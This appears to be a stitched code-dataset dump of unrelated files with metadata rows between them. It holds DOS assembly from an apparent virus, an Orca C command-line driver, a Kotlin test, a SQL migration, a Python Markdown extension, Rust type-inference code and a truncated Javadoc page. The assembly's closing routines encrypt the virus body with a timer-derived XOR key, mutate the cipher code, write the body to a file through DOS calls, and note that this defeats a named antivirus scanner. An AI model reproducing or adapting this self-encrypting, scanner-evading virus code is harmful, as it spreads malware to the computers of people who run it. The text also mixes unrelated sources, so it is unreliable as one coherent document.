mov cx, 050Ah ; Upper screen coords: CH = ROW
mov dx, 0D46h ; Lower bounds, DH = ROW
mov bh, 70h ; Color is White Background, Black fore
int 10h ; Do It.
pop ax ; Draw and clear the inner frame
mov cx, 060Ch ; Upper screen coords: CH = ROW
mov dx, 0C44h ; Lower bounds, DH = ROW
mov bh, 0Eh ; Color is Black Background, Yellow fore
int 10h ; Do It Again
pop bp ; End of stoopid fix
ret
DrawFrame endp
; =============================================================================
ScrollRight proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
shl ax, 1 ; multiply by 2
mov ColsToMove, ax ; And save it
mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
sub bx, ax ; adjust for scroll difference
inc bx ; BX = WordsToScroll
mov ax, VidSegment ; Put ES = Video Segment
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sr_NextRow:
push ax ; Save for later
mul LineWidth ; AX now has ROW * LineWidth
push ax ; Save start of row offset for printing
add ax, LineWidth ; AX points to last byte of the row
sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
mov di, ax ; save in DEST
sub ax, ColsToMove ; AX now moves back another LEN pairs
mov si, ax ; save in SOURCE
mov cx, bx ; BX = Words to Scroll
push ds ; Stash this
push es ; Make DS = ES
pop ds ; Like this
std ; Set SI and DI to decrement
rep movsw
pop ds ; Get the DS back
pop di ; Grab the Source Offset we saved above
mov cx, [bp+4] ; Prepare to print LEN blanks
call PrintBlank
pop ax ; Saved row
inc ax ; Move to next row
cmp ax, 25 ; Done with all rows?
jne sr_NextRow ; No? Then do next row!
mov sp, bp
pop bp
ret 2
ScrollRight endp
; -----------------------------------------------------------------------------
ScrollLeft proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
shl ax, 1
mov ColsToMove, ax
mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
mov ax, VidSegment ; Make ES point to the video segment
mov es, ax
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sl_NextRow:
push ax ; Save Row for later
mul LineWidth ; calc AX := Row * LineWidth
push ax ; Save Start of Line
mov di, ax ; This is where it's going
add ax, ColsToMove ; calc AX := AX + ColsToMove
mov si, ax ; This will be our source
push ds ; Stash for later ...
push es ; Make DS = ES = Video Segment
pop ds
mov cx, bx ; BX = Words To Scroll
cld ; Set SI and DI to decrement
rep movsw
pop ds ; Get our DS back...
pop di ; Grab the Source Offset we saved
add di, LineWidth
sub di, colsToMove
mov cx, [bp+4] ; Prepare to print some blanks
call PrintBlank ; Do It
pop ax ; Get back out row value
inc ax ; And move to next row
cmp ax, 25 ; first check if we are done
jne sl_NextRow ; If now, then do next row
mov sp, bp
pop bp
ret 2
ScrollLeft endp
; -----------------------------------------------------------------------------
; In AH = 6 scroll up
; = 7 scroll down
Scroll proc near
mov al, 1 ; We will always scroll 1 line
xor cx, cx ; Set Top Row/Col to (0,0)
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
mov bh, 07h ; Use a normal blank
push bp ; Work around a lame bug on PC/XTs
int 10h ; Do Bios...Oh Do Me Now
pop bp ; And continue fixing that st00pid bug
ret ; I really feel sill doc'g this routine...
Scroll endp
; -----------------------------------------------------------------------------
PrintBlank proc near
; In ES - Video Segment
; DI - Offset to print blank at
; CX - Number of blanks to print
cld ; store forward (increment DI)
mov al,' ' ; We want to print a blank
PrintAgain:
stosb ; put in one blank char
inc di ; skip video attribute
loop short PrintAgain
ret
PrintBlank endp
; -----------------------------------------------------------------------------
; All the routines dealing with Sound and Delays - especially the delay
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
; set of programming tools - plug plug!
; Beep(Hz, MS:Word); assembler;
Beep proc near
push bp
mov bp, sp
mov bx, [bp+6] ; hertz
mov AX,34DDH
mov DX,0012H
cmp DX,BX
jnc beepStop
div BX
mov BX,AX ; Lots of port tweaking... Isn't
in AL,61H ; this shit fun???
test AL,3
jnz @99
or AL,3
out 61H,AL
mov AL,0B6H
out 43H,AL
@99:
mov AL,BL ; I know I never get bored.!!
out 42H,AL
mov AL,BH
out 42H,AL
BeepStop:
mov CX, [bp+4] ; push ms delay time
call Delay ; and wait...
IN AL, 61h ; Now turn off the speaker
AND AL, 0FCh
out 061h, AL
mov sp, bp
pop bp
ret 4
Beep endp
; -----------------------------------------------------------------------------
; In: cx = delay in ms
Delay proc near
delay1: ; What's to say... a tight loop
call delayOneMS ; counting milliseconds
loop short delay1
ret
Delay endp
; =============================================================================
DelayOneMS proc near
push cx ; Save CX
mov cx, OneMS ; Loop count into CX
DelayOne1:
loop delayOne1 ; Wait one millisecond
pop cx ; Restore CX
ret
DelayOneMs endp
; -----------------------------------------------------------------------------
Calibrate_Delay proc near
mov ax,40h
mov es,ax
mov di,6Ch ; ES:DI is the low word of BIOS timer count
mov OneMS, 55 ; Initial value for One MS's time
xor dx,dx ; DX = 0
mov ax,es:[di] ; AX = low word of timer
CalKeepOn:
cmp ax,es:[di] ; Keep looking at low word of timer
je CalKeepOn ; until its value changes...
mov ax,es:[di] ; ...then save it
CalDoMore:
call DelayOneMs ; Delay for a count of OneMS (55)
inc dx ; Increment loop counter
cmp ax,es:[di] ; Keep looping until the low word...
je CalDoMore ; ...of the timer count changes again
mov OneMS, dx ; DX has new OneMS }
ret
Calibrate_Delay endp
; -----------------------------------------------------------------------------
InitCrt proc near
mov ah,15 ; Get Video Mode
int 10h
cmp al, 7 ; Check if this is monochrome
je DoneInit
add VidSegment, 800h
DoneInit:
mov byte ptr NumCols, ah ; Set the number of Character Cols
shl ah, 1 ; Mult by two for number of vid bytes
mov byte ptr LineWidth, ah ; And stash it...
ToneInit:
call Calibrate_Delay
ret
InitCrt endp
; =============================================================================
VidSegment dw 0B000h ; Base Video Segment
NumCols dw ? ; Columns on Screen
LineWidth dw ? ; NumCols * 2
ColsToMove dw ? ; Number of video bytes to move each time
OneMS dw ? ; Calibration value for 1 ms of time
; =============================================================================
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
; -----------------------------------------------------------------------------
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
nop ; Defeat SCAN 95B
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
| 41.678322 | 81 | 0.429228 |
b1b339ac49e786ddbd73ce87153a846968bed309
| 2,925 |
c
|
C
|
cli_main.c
|
DoubleDensity/Orca-c
|
86dd6be4f4edc4fadf253eba3a7baded145cdef5
|
[
"MIT"
] | null | null | null |
cli_main.c
|
DoubleDensity/Orca-c
|
86dd6be4f4edc4fadf253eba3a7baded145cdef5
|
[
"MIT"
] | null | null | null |
cli_main.c
|
DoubleDensity/Orca-c
|
86dd6be4f4edc4fadf253eba3a7baded145cdef5
|
[
"MIT"
] | null | null | null |
#include "bank.h"
#include "base.h"
#include "field.h"
#include "mark.h"
#include "sim.h"
#include <getopt.h>
static void usage(void) {
// clang-format off
fprintf(stderr,
"Usage: cli [options] infile\n\n"
"Options:\n"
" -t <number> Number of timesteps to simulate.\n"
" Must be 0 or a positive integer.\n"
" Default: 1\n"
" -h or --help Print this message and exit.\n"
);
// clang-format on
}
int main(int argc, char** argv) {
static struct option cli_options[] = {{"help", no_argument, 0, 'h'},
{NULL, 0, NULL, 0}};
char* input_file = NULL;
int ticks = 1;
for (;;) {
int c = getopt_long(argc, argv, "t:h", cli_options, NULL);
if (c == -1)
break;
switch (c) {
case 't':
ticks = atoi(optarg);
if (ticks == 0 && strcmp(optarg, "0")) {
fprintf(stderr,
"Bad timestep argument %s.\n"
"Must be 0 or a positive integer.\n",
optarg);
return 1;
}
break;
case 'h':
usage();
return 0;
case '?':
usage();
return 1;
}
}
if (optind == argc - 1) {
input_file = argv[optind];
} else if (optind < argc - 1) {
fprintf(stderr, "Expected only 1 file argument.\n");
usage();
return 1;
}
if (input_file == NULL) {
fprintf(stderr, "No input file.\n");
usage();
return 1;
}
if (ticks < 0) {
fprintf(stderr, "Time must be >= 0.\n");
usage();
return 1;
}
Field field;
field_init(&field);
Field_load_error fle = field_load_file(input_file, &field);
if (fle != Field_load_error_ok) {
field_deinit(&field);
char const* errstr = "Unknown";
switch (fle) {
case Field_load_error_ok:
break;
case Field_load_error_cant_open_file:
errstr = "Unable to open file";
break;
case Field_load_error_too_many_columns:
errstr = "Grid file has too many columns";
break;
case Field_load_error_too_many_rows:
errstr = "Grid file has too many rows";
break;
case Field_load_error_no_rows_read:
errstr = "Grid file has no rows";
break;
case Field_load_error_not_a_rectangle:
errstr = "Grid file is not a rectangle";
break;
}
fprintf(stderr, "File load error: %s.\n", errstr);
return 1;
}
Mbuf_reusable mbuf_r;
mbuf_reusable_init(&mbuf_r);
mbuf_reusable_ensure_size(&mbuf_r, field.height, field.width);
Oevent_list oevent_list;
oevent_list_init(&oevent_list);
Usz max_ticks = (Usz)ticks;
for (Usz i = 0; i < max_ticks; ++i) {
orca_run(field.buffer, mbuf_r.buffer, field.height, field.width, i,
&oevent_list, ORCA_PIANO_BITS_NONE);
}
mbuf_reusable_deinit(&mbuf_r);
oevent_list_deinit(&oevent_list);
field_fput(&field, stdout);
field_deinit(&field);
return 0;
}
| 25.434783 | 71 | 0.579487 |
1e69ec60d862e84c31ad5e915cd9325459a152d4
| 587 |
kt
|
Kotlin
|
app/src/test/java/com/example/buahin/ExampleUnitTest.kt
|
SimiPrambos/buahin
|
5c6a2cd40ac9e96dbfb61eefba9654b5f0fd6636
|
[
"MIT"
] | null | null | null |
app/src/test/java/com/example/buahin/ExampleUnitTest.kt
|
SimiPrambos/buahin
|
5c6a2cd40ac9e96dbfb61eefba9654b5f0fd6636
|
[
"MIT"
] | null | null | null |
app/src/test/java/com/example/buahin/ExampleUnitTest.kt
|
SimiPrambos/buahin
|
5c6a2cd40ac9e96dbfb61eefba9654b5f0fd6636
|
[
"MIT"
] | null | null | null |
/*
* Copyright (C) 2021 SimiPrambos <simi.prambos@gmail.com> - All Rights Reserved
* ExampleUnitTest.kt
* Buahin <https://github.com/SimiPrambos/buahin.git>
* UI Design by Afsar <https://www.figma.com/community/file/882645007956337261>
*/
package com.example.buahin
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
}
| 24.458333 | 81 | 0.705281 |
525d6eb3755f81f46e9ed228620b2410802d54e7
| 86 |
sql
|
SQL
|
hasura/migrations/1608308064173_alter_table_public_projects_add_column_useImage/up.sql
|
221B-io/databrary.org
|
976d10457c47ef5740adcd54ef5cc7e0193e5700
|
[
"MIT"
] | 3 |
2020-01-21T23:23:58.000Z
|
2020-11-26T12:53:21.000Z
|
hasura/migrations/1608308064173_alter_table_public_projects_add_column_useImage/up.sql
|
databrary/databrary.org
|
976d10457c47ef5740adcd54ef5cc7e0193e5700
|
[
"MIT"
] | 153 |
2019-11-13T20:34:51.000Z
|
2021-05-03T14:51:12.000Z
|
hasura/migrations/1608308064173_alter_table_public_projects_add_column_useImage/up.sql
|
221B-io/databrary.org
|
976d10457c47ef5740adcd54ef5cc7e0193e5700
|
[
"MIT"
] | 2 |
2020-02-05T02:04:04.000Z
|
2021-01-27T21:01:46.000Z
|
ALTER TABLE "public"."projects" ADD COLUMN "useImage" boolean NOT NULL DEFAULT false;
| 43 | 85 | 0.77907 |
f0113aeb5d7960eefb66a0247171970b6a1b3515
| 2,245 |
py
|
Python
|
portality/cms/implied_attr_list.py
|
gaybro8777/doaj
|
27d9d98ce4f496ae52acbaba6ee8e42c84cf1a58
|
[
"Apache-2.0"
] | 47 |
2015-04-24T13:13:39.000Z
|
2022-03-06T03:22:42.000Z
|
portality/cms/implied_attr_list.py
|
gaybro8777/doaj
|
27d9d98ce4f496ae52acbaba6ee8e42c84cf1a58
|
[
"Apache-2.0"
] | 1,215 |
2015-01-02T14:29:38.000Z
|
2022-03-28T14:19:13.000Z
|
portality/cms/implied_attr_list.py
|
gaybro8777/doaj
|
27d9d98ce4f496ae52acbaba6ee8e42c84cf1a58
|
[
"Apache-2.0"
] | 14 |
2015-11-27T13:01:23.000Z
|
2021-05-21T07:57:23.000Z
|
import markdown
import re
from markdown.extensions import attr_list
def makeExtension(**kwargs): # pragma: no cover
return ImpliedAttrListExtension(**kwargs)
class ImpliedAttrListExtension(markdown.Extension):
"""Extension for attatching `attr_list` entries to implied elements. Specifically: lists and tables"""
def extendMarkdown(self, md: markdown.Markdown, *args, **kwargs):
md.preprocessors.register(ImpliedAttrListPreprocessor(md), "implied_attr_list", 100)
md.treeprocessors.register(ImpliedAttrListTreeprocessor(md), 'implied_attr_list', 100)
md.registerExtension(self)
class ImpliedAttrListPreprocessor(markdown.preprocessors.Preprocessor):
def run(self, lines):
"""
Insert a blank line in between the declaration of the attr_list and the thing that it applies to
This will allow it to render the list normally. The attr_list will get rendered into the text of a paragraph
tag which the Treeprocessor below will handle
"""
new_lines = []
for line in lines:
new_lines.append(line)
if re.fullmatch(ImpliedAttrListTreeprocessor.BASE_RE, line):
new_lines.append("")
return new_lines
class ImpliedAttrListTreeprocessor(attr_list.AttrListTreeprocessor):
def run(self, doc):
"""
Iterate through the doc, locating <p> tags that contain ONLY the syntax for attr_lists.
Once one is found, the value is applied to the next element in the iteration of the doc, and the
<p> tag is removed
:param doc:
:return:
"""
holdover = None
removes = []
for elem in doc.iter():
if holdover is not None:
self.assign_attrs(elem, holdover)
holdover = None
if elem.tag in ["p"] and elem.text is not None:
m = re.fullmatch(self.BASE_RE, elem.text)
if m:
holdover = m.group(1)
removes.append(elem)
if len(removes) > 0:
parent_map = {c: p for p in doc.iter() for c in p}
for r in removes:
parent = parent_map[r]
parent.remove(r)
| 34.538462 | 117 | 0.629399 |
83ca67f33bc31a7a7e5a47a4af97138619b622f9
| 10,288 |
rs
|
Rust
|
src/librustc/middle/typeck/infer/glb.rs
|
areski/rust
|
9f0c29af0263a13c123722122877f818dfec3b8f
|
[
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null |
src/librustc/middle/typeck/infer/glb.rs
|
areski/rust
|
9f0c29af0263a13c123722122877f818dfec3b8f
|
[
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null |
src/librustc/middle/typeck/infer/glb.rs
|
areski/rust
|
9f0c29af0263a13c123722122877f818dfec3b8f
|
[
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null |
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
use middle::ty::{BuiltinBounds};
use middle::ty::RegionVid;
use middle::ty;
use middle::typeck::infer::combine::*;
use middle::typeck::infer::lattice::*;
use middle::typeck::infer::equate::Equate;
use middle::typeck::infer::lub::Lub;
use middle::typeck::infer::sub::Sub;
use middle::typeck::infer::{cres, InferCtxt};
use middle::typeck::infer::{TypeTrace, Subtype};
use middle::typeck::infer::fold_regions_in_sig;
use middle::typeck::infer::region_inference::RegionMark;
use syntax::ast::{Many, Once, MutImmutable, MutMutable};
use syntax::ast::{NormalFn, UnsafeFn, NodeId};
use syntax::ast::{Onceness, FnStyle};
use std::collections::HashMap;
use util::common::{indenter};
use util::ppaux::mt_to_string;
use util::ppaux::Repr;
/// "Greatest lower bound" (common subtype)
pub struct Glb<'f, 'tcx: 'f> {
fields: CombineFields<'f, 'tcx>
}
#[allow(non_snake_case)]
pub fn Glb<'f, 'tcx>(cf: CombineFields<'f, 'tcx>) -> Glb<'f, 'tcx> {
Glb { fields: cf }
}
impl<'f, 'tcx> Combine<'tcx> for Glb<'f, 'tcx> {
fn infcx<'a>(&'a self) -> &'a InferCtxt<'a, 'tcx> { self.fields.infcx }
fn tag(&self) -> String { "glb".to_string() }
fn a_is_expected(&self) -> bool { self.fields.a_is_expected }
fn trace(&self) -> TypeTrace { self.fields.trace.clone() }
fn equate<'a>(&'a self) -> Equate<'a, 'tcx> { Equate(self.fields.clone()) }
fn sub<'a>(&'a self) -> Sub<'a, 'tcx> { Sub(self.fields.clone()) }
fn lub<'a>(&'a self) -> Lub<'a, 'tcx> { Lub(self.fields.clone()) }
fn glb<'a>(&'a self) -> Glb<'a, 'tcx> { Glb(self.fields.clone()) }
fn mts(&self, a: &ty::mt, b: &ty::mt) -> cres<ty::mt> {
let tcx = self.fields.infcx.tcx;
debug!("{}.mts({}, {})",
self.tag(),
mt_to_string(tcx, a),
mt_to_string(tcx, b));
match (a.mutbl, b.mutbl) {
// If one side or both is mut, then the GLB must use
// the precise type from the mut side.
(MutMutable, MutMutable) => {
let t = try!(self.equate().tys(a.ty, b.ty));
Ok(ty::mt {ty: t, mutbl: MutMutable})
}
// If one side or both is immutable, we can use the GLB of
// both sides but mutbl must be `MutImmutable`.
(MutImmutable, MutImmutable) => {
let t = try!(self.tys(a.ty, b.ty));
Ok(ty::mt {ty: t, mutbl: MutImmutable})
}
// There is no mutual subtype of these combinations.
(MutMutable, MutImmutable) |
(MutImmutable, MutMutable) => {
Err(ty::terr_mutability)
}
}
}
fn contratys(&self, a: ty::t, b: ty::t) -> cres<ty::t> {
self.lub().tys(a, b)
}
fn fn_styles(&self, a: FnStyle, b: FnStyle) -> cres<FnStyle> {
match (a, b) {
(NormalFn, _) | (_, NormalFn) => Ok(NormalFn),
(UnsafeFn, UnsafeFn) => Ok(UnsafeFn)
}
}
fn oncenesses(&self, a: Onceness, b: Onceness) -> cres<Onceness> {
match (a, b) {
(Many, _) | (_, Many) => Ok(Many),
(Once, Once) => Ok(Once)
}
}
fn builtin_bounds(&self,
a: ty::BuiltinBounds,
b: ty::BuiltinBounds)
-> cres<ty::BuiltinBounds> {
// More bounds is a subtype of fewer bounds, so
// the GLB (mutual subtype) is the union.
Ok(a.union(b))
}
fn regions(&self, a: ty::Region, b: ty::Region) -> cres<ty::Region> {
debug!("{}.regions({}, {})",
self.tag(),
a.repr(self.fields.infcx.tcx),
b.repr(self.fields.infcx.tcx));
Ok(self.fields.infcx.region_vars.glb_regions(Subtype(self.trace()), a, b))
}
fn contraregions(&self, a: ty::Region, b: ty::Region)
-> cres<ty::Region> {
self.lub().regions(a, b)
}
fn tys(&self, a: ty::t, b: ty::t) -> cres<ty::t> {
super_lattice_tys(self, a, b)
}
fn fn_sigs(&self, a: &ty::FnSig, b: &ty::FnSig) -> cres<ty::FnSig> {
// Note: this is a subtle algorithm. For a full explanation,
// please see the large comment in `region_inference.rs`.
debug!("{}.fn_sigs({}, {})",
self.tag(), a.repr(self.fields.infcx.tcx), b.repr(self.fields.infcx.tcx));
let _indenter = indenter();
// Make a mark so we can examine "all bindings that were
// created as part of this type comparison".
let mark = self.fields.infcx.region_vars.mark();
// Instantiate each bound region with a fresh region variable.
let (a_with_fresh, a_map) =
self.fields.infcx.replace_late_bound_regions_with_fresh_regions(
self.trace(), a);
let a_vars = var_ids(self, &a_map);
let (b_with_fresh, b_map) =
self.fields.infcx.replace_late_bound_regions_with_fresh_regions(
self.trace(), b);
let b_vars = var_ids(self, &b_map);
// Collect constraints.
let sig0 = try!(super_fn_sigs(self, &a_with_fresh, &b_with_fresh));
debug!("sig0 = {}", sig0.repr(self.fields.infcx.tcx));
// Generalize the regions appearing in fn_ty0 if possible
let new_vars =
self.fields.infcx.region_vars.vars_created_since_mark(mark);
let sig1 =
fold_regions_in_sig(
self.fields.infcx.tcx,
&sig0,
|r| {
generalize_region(self,
mark,
new_vars.as_slice(),
sig0.binder_id,
&a_map,
a_vars.as_slice(),
b_vars.as_slice(),
r)
});
debug!("sig1 = {}", sig1.repr(self.fields.infcx.tcx));
return Ok(sig1);
fn generalize_region(this: &Glb,
mark: RegionMark,
new_vars: &[RegionVid],
new_binder_id: NodeId,
a_map: &HashMap<ty::BoundRegion, ty::Region>,
a_vars: &[RegionVid],
b_vars: &[RegionVid],
r0: ty::Region) -> ty::Region {
if !is_var_in_set(new_vars, r0) {
assert!(!r0.is_bound());
return r0;
}
let tainted = this.fields.infcx.region_vars.tainted(mark, r0);
let mut a_r = None;
let mut b_r = None;
let mut only_new_vars = true;
for r in tainted.iter() {
if is_var_in_set(a_vars, *r) {
if a_r.is_some() {
return fresh_bound_variable(this, new_binder_id);
} else {
a_r = Some(*r);
}
} else if is_var_in_set(b_vars, *r) {
if b_r.is_some() {
return fresh_bound_variable(this, new_binder_id);
} else {
b_r = Some(*r);
}
} else if !is_var_in_set(new_vars, *r) {
only_new_vars = false;
}
}
// NB---I do not believe this algorithm computes
// (necessarily) the GLB. As written it can
// spuriously fail. In particular, if there is a case
// like: |fn(&a)| and fn(fn(&b)), where a and b are
// free, it will return fn(&c) where c = GLB(a,b). If
// however this GLB is not defined, then the result is
// an error, even though something like
// "fn<X>(fn(&X))" where X is bound would be a
// subtype of both of those.
//
// The problem is that if we were to return a bound
// variable, we'd be computing a lower-bound, but not
// necessarily the *greatest* lower-bound.
//
// Unfortunately, this problem is non-trivial to solve,
// because we do not know at the time of computing the GLB
// whether a GLB(a,b) exists or not, because we haven't
// run region inference (or indeed, even fully computed
// the region hierarchy!). The current algorithm seems to
// works ok in practice.
if a_r.is_some() && b_r.is_some() && only_new_vars {
// Related to exactly one bound variable from each fn:
return rev_lookup(this, a_map, new_binder_id, a_r.unwrap());
} else if a_r.is_none() && b_r.is_none() {
// Not related to bound variables from either fn:
assert!(!r0.is_bound());
return r0;
} else {
// Other:
return fresh_bound_variable(this, new_binder_id);
}
}
fn rev_lookup(this: &Glb,
a_map: &HashMap<ty::BoundRegion, ty::Region>,
new_binder_id: NodeId,
r: ty::Region) -> ty::Region
{
for (a_br, a_r) in a_map.iter() {
if *a_r == r {
return ty::ReLateBound(new_binder_id, *a_br);
}
}
this.fields.infcx.tcx.sess.span_bug(
this.fields.trace.origin.span(),
format!("could not find original bound region for {}",
r).as_slice())
}
fn fresh_bound_variable(this: &Glb, binder_id: NodeId) -> ty::Region {
this.fields.infcx.region_vars.new_bound(binder_id)
}
}
}
| 38.676692 | 89 | 0.515358 |
7d71f761189e727a63750cd8467df4ee8cc26b47
| 12,492 |
html
|
HTML
|
doc/dsl/class-use/Play.StatelessCharacter.html
|
tokahuke/java-for-playwrights
|
836e4b01bd53ce9d29951c3944d36330e47791d5
|
[
"MIT"
] | 1 |
2017-08-21T23:38:47.000Z
|
2017-08-21T23:38:47.000Z
|
doc/dsl/class-use/Play.StatelessCharacter.html
|
tokahuke/java-for-playwrights
|
836e4b01bd53ce9d29951c3944d36330e47791d5
|
[
"MIT"
] | null | null | null |
doc/dsl/class-use/Play.StatelessCharacter.html
|
tokahuke/java-for-playwrights
|
836e4b01bd53ce9d29951c3944d36330e47791d5
|
[
"MIT"
] | null | null | null |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="pt">
<head>
<!-- Generated by javadoc (1.8.0_60) on Wed Mar 02 17:26:14 BRT 2016 -->
<title>Uses of Class dsl.Play.StatelessCharacter</title>
<meta name="date" content="2016-03-02">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class dsl.Play.StatelessCharacter";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?dsl/class-use/Play.StatelessCharacter.html" target="_top">Frames</a></li>
<li><a href="Play.StatelessCharacter.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class dsl.Play.StatelessCharacter" class="title">Uses of Class<br>dsl.Play.StatelessCharacter</h2>
</div>
<div class="classUseContainer">
<ul class="blockList">
<li class="blockList">
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation">
<caption><span>Packages that use <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Package</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="#delays">delays</a></td>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="#flux">flux</a></td>
<td class="colLast"> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><a href="#primitives">primitives</a></td>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="#timeout">timeout</a></td>
<td class="colLast"> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<ul class="blockList">
<li class="blockList"><a name="delays">
<!-- -->
</a>
<h3>Uses of <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a> in <a href="../../delays/package-summary.html">delays</a></h3>
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing fields, and an explanation">
<caption><span>Fields in <a href="../../delays/package-summary.html">delays</a> declared as <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">RxEceptionTest.</span><code><span class="memberNameLink"><a href="../../delays/RxEceptionTest.html#ch1">ch1</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">DelayTest.</span><code><span class="memberNameLink"><a href="../../delays/DelayTest.html#ch1">ch1</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">RxEceptionTest.</span><code><span class="memberNameLink"><a href="../../delays/RxEceptionTest.html#ch2">ch2</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">DelayTest.</span><code><span class="memberNameLink"><a href="../../delays/DelayTest.html#ch2">ch2</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
<td class="colLast"><span class="typeNameLabel">DelayTest.</span><code><span class="memberNameLink"><a href="../../delays/DelayTest.html#ch3">ch3</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>(package private) <a href="../../dsl/Play.StatelessCharacter.html" title="class in dsl">Play.StatelessCharacter</a></code></td>
